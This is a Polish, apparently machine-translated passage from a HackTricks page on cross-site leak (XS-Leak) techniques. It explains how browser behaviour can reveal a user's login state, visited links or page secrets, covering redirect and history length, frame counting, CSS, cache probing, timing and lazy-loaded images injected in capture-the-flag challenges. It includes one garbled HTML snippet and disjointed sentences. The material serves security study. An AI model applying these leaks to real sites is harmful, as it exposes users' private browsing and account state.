> Ogólnie rzecz biorąc, _platforma internetowa_ nie ma ograniczeń co do długości adresów URL (choć 2^31 to powszechne ograniczenie). _Chrome_ ogranicza długość adresów URL do maksymalnie **2 MB** z powodów praktycznych i aby uniknąć problemów z odmową usługi w komunikacji międzyprocesowej.
Dlatego jeśli **odpowiedź URL przekierowania jest większa w jednym z przypadków**, możliwe jest przekierowanie z **URL większym niż 2 MB**, aby uderzyć w **limit długości**. Gdy to się zdarzy, Chrome wyświetla stronę **`about:blank#blocked`**.
**Zauważalna różnica** polega na tym, że jeśli **przekierowanie** zostało **zakończone**, `window.origin` wywołuje **błąd**, ponieważ pochodzenie krzyżowe nie może uzyskać do tej informacji. Jednak jeśli **limit** został **przekroczony** i załadowana strona to **`about:blank#blocked`**, pochodzenie okna pozostaje takie jak **rodzica**, co jest **dostępną informacją**.
Wszystkie dodatkowe informacje potrzebne do osiągnięcia **2 MB** można dodać za pomocą **hasztagu** w początkowym URL, aby został on **użyty w przekierowaniu**.
Jeśli **maksymalna** liczba **przekierowań** przeglądarki wynosi **20**, atakujący może spróbować załadować swoją stronę z **19 przekierowaniami** i ostatecznie **przekierować ofiarę** do testowanej strony. Jeśli zostanie wywołany **błąd**, oznacza to, że strona próbowała **przekierować ofiarę**.
API historii umożliwia kodowi JavaScript manipulowanie historią przeglądarki, która **zapisuje odwiedzone przez użytkownika strony**. Atakujący może wykorzystać właściwość length jako metodę włączenia: do wykrywania nawigacji JavaScript i HTML.\
Sprawdzając `history.length`, sprawiając, że użytkownik **przechodzi** do strony, **zmienia** ją **z powrotem** do tego samego pochodzenia i **sprawdzając** nową wartość **`history.length`**.
### Długość historii z tym samym adresem URL
* **Metody włączenia**: Ramki, Okienka pop-up
* **Wykrywalna różnica**: Jeśli adres URL jest taki sam jak zgadywany
Atakujący mógłby użyć kodu JavaScript do **manipulowania lokalizacją ramki/pop-up do zgadniętej** i **natychmiast****zmienić ją na `about:blank`**. Jeśli długość historii wzrosła, oznacza to, że adres URL był poprawny i miał czas na **zwiększenie, ponieważ adres URL nie jest ponownie ładowany, jeśli jest taki sam**. Jeśli nie wzrosła, oznacza to, że **próbował załadować zgadnięty adres URL**, ale ponieważ **natychmiast po** załadowaniu **`about:blank`**, **długość historii nigdy nie wzrosła** podczas ładowania zgadniętego adresu URL.
Co więcej, jeśli strona zawsze ma tę samą liczbę ramek, sprawdzanie **ciągłe** liczby ramek może pomóc zidentyfikować **wzorzec**, który może ujawnić informacje.
Przykładem tej techniki jest to, że w przeglądarce Chrome **PDF** może być **wykrywany** za pomocą **liczenia ramek**, ponieważ wewnętrznie używane jest `embed`. Istnieją [Parametry URL otwarte](https://bugs.chromium.org/p/chromium/issues/detail?id=64309#c113), które pozwalają na pewną kontrolę treści, taką jak `zoom`, `view`, `page`, `toolbar`, gdzie ta technika może być interesująca.
Ujawnianie informacji za pomocą elementów HTML stanowi zagrożenie dla bezpieczeństwa sieci, zwłaszcza gdy dynamiczne pliki multimedialne są generowane na podstawie informacji użytkownika lub gdy dodawane są znaki wodne, zmieniając rozmiar multimediów. Atakujący mogą wykorzystać to do odróżniania między możliwymi stanami, analizując informacje ujawnione przez określone elementy HTML.
* **HTMLMediaElement**: Ten element ujawnia `duration` i czasy `buffered` multimediów, do których można uzyskać dostęp za pomocą jego interfejsu API. [Czytaj więcej o HTMLMediaElement](https://developer.mozilla.org/en-US/docs/Web/API/HTMLMediaElement)
* **HTMLVideoElement**: Ujawnia `videoHeight` i `videoWidth`. W niektórych przeglądarkach dostępne są dodatkowe właściwości, takie jak `webkitVideoDecodedByteCount`, `webkitAudioDecodedByteCount` i `webkitDecodedFrameCount`, oferujące bardziej szczegółowe informacje na temat zawartości multimedialnej. [Czytaj więcej o HTMLVideoElement](https://developer.mozilla.org/en-US/docs/Web/API/HTMLVideoElement)
* **getVideoPlaybackQuality()**: Ta funkcja dostarcza szczegółowe informacje o jakości odtwarzania wideo, w tym `totalVideoFrames`, co może wskazywać na ilość przetworzonych danych wideo. [Czytaj więcej o getVideoPlaybackQuality()](https://developer.mozilla.org/en-US/docs/Web/API/VideoPlaybackQuality)
* **HTMLImageElement**: Ten element ujawnia `height` i `width` obrazu. Jednak jeśli obraz jest nieprawidłowy, te właściwości zwrócą 0, a funkcja `image.decode()` zostanie odrzucona, sygnalizując niepowodzenie poprawnego wczytania obrazu. [Czytaj więcej o HTMLImageElement](https://developer.mozilla.org/en-US/docs/Web/API/HTMLImageElement)
Aplikacje internetowe mogą zmieniać **stylowanie strony internetowej w zależności od stanu użytkownika**. Pliki CSS z innych źródeł mogą być osadzone na stronie atakującego za pomocą **elementu link HTML**, a **reguły** zostaną **zastosowane** do strony atakującego. Jeśli strona dynamicznie zmienia te reguły, atakujący może **wykryć** te **różnice** w zależności od stanu użytkownika.\
Jako technika wycieku, atakujący może użyć metody `window.getComputedStyle` do **odczytania** właściwości **CSS** określonego elementu HTML. W rezultacie atakujący może odczytać dowolne właściwości CSS, jeśli znany jest dotknięty element i nazwa właściwości.
Selektor CSS `:visited` jest wykorzystywany do stylizowania adresów URL w inny sposób, jeśli zostały one wcześniej odwiedzone przez użytkownika. W przeszłości metoda `getComputedStyle()` mogła być wykorzystana do identyfikowania tych różnic stylu. Jednak nowoczesne przeglądarki wprowadziły środki bezpieczeństwa, aby uniemożliwić tej metodzie ujawnienie stanu linku. Środki te obejmują zawsze zwracanie stylu obliczonego tak, jakby link był odwiedzony, oraz ograniczanie stylów, które można zastosować za pomocą selektora `:visited`.
Mimo tych ograniczeń, możliwe jest pośrednie rozpoznanie stanu odwiedzonego linku. Jedną z technik jest zmylenie użytkownika do interakcji z obszarem dotkniętym przez CSS, w szczególności wykorzystanie właściwości `mix-blend-mode`. Ta właściwość pozwala na mieszanie elementów z ich tłem, potencjalnie ujawniając stan odwiedzenia na podstawie interakcji użytkownika.
Ponadto wykrycie można osiągnąć bez interakcji użytkownika, wykorzystując czasy renderowania linków. Ponieważ przeglądarki mogą renderować odwiedzone i nieodwiedzone linki w inny sposób, może to wprowadzić mierzalną różnicę czasu w renderowaniu. Dowód koncepcji (PoC) został wspomniany w raporcie błędu Chromium, demonstrując tę technikę za pomocą wielu linków do zwiększenia różnicy czasu, co pozwala na wykrycie stanu odwiedzenia poprzez analizę czasu.
* **Podsumowanie:** W Google Chrome, pojawia się dedykowana strona błędu, gdy strona jest blokowana przed osadzeniem na stronie z innej domeny z powodu ograniczeń X-Frame-Options.
W Chrome, jeśli strona z nagłówkiem `X-Frame-Options` ustawionym na "deny" lub "same-origin" jest osadzona jako obiekt, pojawia się strona błędu. Chrome zwraca unikalnie pusty obiekt dokumentu (zamiast `null`) dla właściwości `contentDocument` tego obiektu, w przeciwieństwie do iframe'ów lub innych przeglądarek. Atakujący mogliby wykorzystać to, wykrywając pusty dokument, potencjalnie ujawniając informacje o stanie użytkownika, zwłaszcza jeśli programiści niespójnie ustawiają nagłówek X-Frame-Options, często pomijając strony błędów. Świadomość i konsekwentne stosowanie nagłówków bezpieczeństwa są kluczowe dla zapobiegania takim wyciekom.
Nagłówek `Content-Disposition`, w szczególności `Content-Disposition: attachment`, instruuje przeglądarkę do pobrania zawartości zamiast wyświetlania jej wewnętrznie. To zachowanie może być wykorzystane do wykrywania, czy użytkownik ma dostęp do strony, która wywołuje pobieranie pliku. W przeglądarkach opartych na Chromium istnieją kilka technik do wykrywania tego zachowania pobierania:
* Gdy strona wywołuje pobieranie pliku za pomocą nagłówka `Content-Disposition: attachment`, nie powoduje to zdarzenia nawigacji.
* Ładując zawartość w iframe'ie i monitorując zdarzenia nawigacji, można sprawdzić, czy dyspozycja zawartości powoduje pobranie pliku (brak nawigacji) czy nie.
* Monitorowanie zdarzeń nawigacji w nowo otwartym oknie może ujawnić, czy pobrano plik (brak nawigacji) czy czy zawartość jest wyświetlana wewnętrznie (następuje nawigacja).
W sytuacjach, gdzie tylko zalogowani użytkownicy mogą wywołać takie pobrania, te techniki mogą być wykorzystane do pośredniego wnioskowania o stanie uwierzytelnienia użytkownika na podstawie odpowiedzi przeglądarki na żądanie pobrania.
Dlatego ta technika jest interesująca: Chrome ma teraz **partycjonowanie pamięci podręcznej**, a klucz pamięci podręcznej nowo otwartej strony to: `(https://actf.co, https://actf.co, https://sustenance.web.actf.co/?m=xxx)`, ale jeśli otworzę stronę ngrok i użyję fetch na niej, klucz pamięci podręcznej będzie: `(https://myip.ngrok.io, https://myip.ngrok.io, https://sustenance.web.actf.co/?m=xxx)`, **klucz pamięci podręcznej jest inny**, więc pamięć podręczna nie może być współdzielona. Więcej szczegółów można znaleźć tutaj: [Zyskiwanie bezpieczeństwa i prywatności poprzez partycjonowanie pamięci podręcznej](https://developer.chrome.com/blog/http-cache-partitioning/)\
Jeśli witryna `example.com` zawiera zasób z `*.example.com/resource`, to zasób ten będzie miał **ten sam klucz pamięci podręcznej** jakby zasób był bezpośrednio **żądany poprzez nawigację na najwyższym poziomie**. Dzieje się tak, ponieważ klucz pamięci podręcznej składa się z _eTLD+1_ na najwyższym poziomie i _eTLD+1_ ramki.
Ponieważ dostęp do pamięci podręcznej jest szybszy niż ładowanie zasobu, można spróbować zmienić lokalizację strony i anulować ją 20 ms (na przykład) po. Jeśli po zatrzymaniu zmieniła się pochodzenie, oznacza to, że zasób był w pamięci podręcznej.\
Lub można po prostu **wysłać żądanie fetch do potencjalnie zasobu w pamięci podręcznej i zmierzyć czas, jaki to zajmuje**.
* **Podsumowanie:** Możliwe jest próbowanie załadowania zasobu i przerwanie ładowania przed jego zakończeniem. W zależności od tego, czy zostanie wywołany błąd, zasób był lub nie był w pamięci podręcznej.
Użyj _**fetch**_ i _**setTimeout**_ z **AbortController**, aby zarówno wykryć, czy **zasób jest w pamięci podręcznej**, jak i usunąć określony zasób z pamięci podręcznej przeglądarki. Ponadto proces ten zachodzi bez buforowania nowej zawartości.
* **Podsumowanie:** Możliwe jest **nadpisanie wbudowanych funkcji** i odczytanie ich argumentów nawet z **skryptu z innej domeny** (który nie może być odczytany bezpośrednio), co może **wyciekać cenne informacje**.
W danej sytuacji atakujący podejmuje inicjatywę zarejestrowania **pracownika usługi** na jednej z ich domen, konkretnie "attacker.com". Następnie atakujący otwiera nowe okno na stronie docelowej z głównego dokumentu i nakazuje **pracownikowi usługi** rozpoczęcie timera. Gdy nowe okno zaczyna się ładować, atakujący nawiguje do odniesienia uzyskanego w poprzednim kroku do strony zarządzanej przez **pracownika usługi**.
Po przybyciu żądania zainicjowanego w poprzednim kroku, **pracownik usługi** odpowiada kodem stanu **204 (No Content)**, efektywnie kończąc proces nawigacji. W tym momencie **pracownik usługi** rejestruje pomiar z timera zainicjowanego wcześniej w drugim kroku. Ten pomiar jest wpływany przez czas trwania JavaScript powodującego opóźnienia w procesie nawigacji.
W czasie wykonania można **wyeliminować****czynniki sieciowe** w celu uzyskania **bardziej precyzyjnych pomiarów**. Na przykład, poprzez wczytanie zasobów używanych przez stronę przed jej załadowaniem.
* **Podsumowanie:** Użyj [performance.now()](https://xsleaks.dev/docs/attacks/timing-attacks/clocks/#performancenow), aby zmierzyć czas wykonania żądania. Można użyć innych zegarów.
* **Podsumowanie:** Użyj [performance.now()](https://xsleaks.dev/docs/attacks/timing-attacks/clocks/#performancenow), aby zmierzyć czas wykonania żądania za pomocą `window.open`. Można użyć innych zegarów.
Użyj [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks), aby łatwo tworzyć i **automatyzować przepływy pracy** zasilane przez najbardziej zaawansowane narzędzia społeczności na świecie.\
Tutaj znajdziesz techniki do eksfiltracji informacji z HTML z innej domeny **wstrzykując zawartość HTML**. Te techniki są interesujące w przypadkach, gdy z jakiegoś powodu możesz **wstrzykiwać HTML, ale nie możesz wstrzykiwać kodu JS**.
Jednak jeśli z jakiegoś powodu **MUSISZ** to zrobić **znak po znaku** (może komunikacja odbywa się poprzez trafienie w pamięć podręczną), możesz skorzystać z tego triku.
**Obrazy** w HTML mają atrybut "**loading**", którego wartość może być "**lazy**". W takim przypadku obraz będzie ładowany podczas oglądania, a nie podczas ładowania strony:
```html
<imgsrc=/somethingloading=lazy>
```
Dlatego możesz **dodać dużo niepotrzebnych znaków** (Na przykład **tysiące "W"**) aby **wypełnić stronę internetową przed sekretem lub dodać coś w rodzaju**`<br><canvas height="1850px"></canvas><br>.`\
Jeśli na przykład nasze **wstrzyknięcie pojawi się przed flagą**, **obraz** zostanie **załadowany**, ale jeśli pojawi się **po****flaga**, flaga + śmieci **uniemożliwią jej załadowanie** (musisz pobawić się ilością śmieci do umieszczenia). Tak właśnie stało się w [**tym rozwiązaniu**](https://blog.huli.tw/2022/10/08/en/sekaictf2022-safelist-and-connection/).
To, co robi ten tekst, to sprawia, że bot uzyskuje dostęp do dowolnego tekstu na stronie zawierającego tekst `SECR`. Ponieważ ten tekst to sekret i znajduje się **poniżej obrazu**, **obraz załaduje się tylko wtedy, gdy zgadnięty sekret jest poprawny**. Masz więc swoje źródło, aby **wyciekać sekret znak po znaku**.
Przykład kodu do wykorzystania tego: [https://gist.github.com/jorgectf/993d02bdadb5313f48cf1dc92a7af87e](https://gist.github.com/jorgectf/993d02bdadb5313f48cf1dc92a7af87e)
Jeśli **nie jest możliwe załadowanie zewnętrznego obrazu**, co mogłoby wskazywać atakującemu, że obraz został załadowany, inną opcją byłoby próbowanie **zgadywania znaku kilka razy i mierzenie tego**. Jeśli obraz jest załadowany, wszystkie żądania zajmą więcej czasu niż w przypadku, gdy obraz nie jest załadowany. To właśnie zostało wykorzystane w [**rozwiązaniu tego opisu**](https://blog.huli.tw/2022/10/08/en/sekaictf2022-safelist-and-connection/) **podsumowanym tutaj:**
Jeśli używane jest `jQuery(location.hash)`, możliwe jest sprawdzenie za pomocą czasu, **czy istnieje jakiś zawartość HTML**, ponieważ jeśli selektor `main[id='site-main']` nie pasuje, nie trzeba sprawdzać reszty **selektorów**:
Zalecane są środki zaradcze w [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) oraz w każdej sekcji wiki [https://xsleaks.dev/](https://xsleaks.dev/). Zapoznaj się tam z więcej informacji na temat sposobów ochrony przed tymi technikami.
<summary><strong>Naucz się hakować AWS od zera do bohatera z</strong><ahref="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Inne sposoby wsparcia HackTricks:
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
* Kup [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegram**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
Użyj [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks), aby łatwo tworzyć i **automatyzować workflowy** zasilane przez najbardziej **zaawansowane narzędzia** społeczności na świecie.\
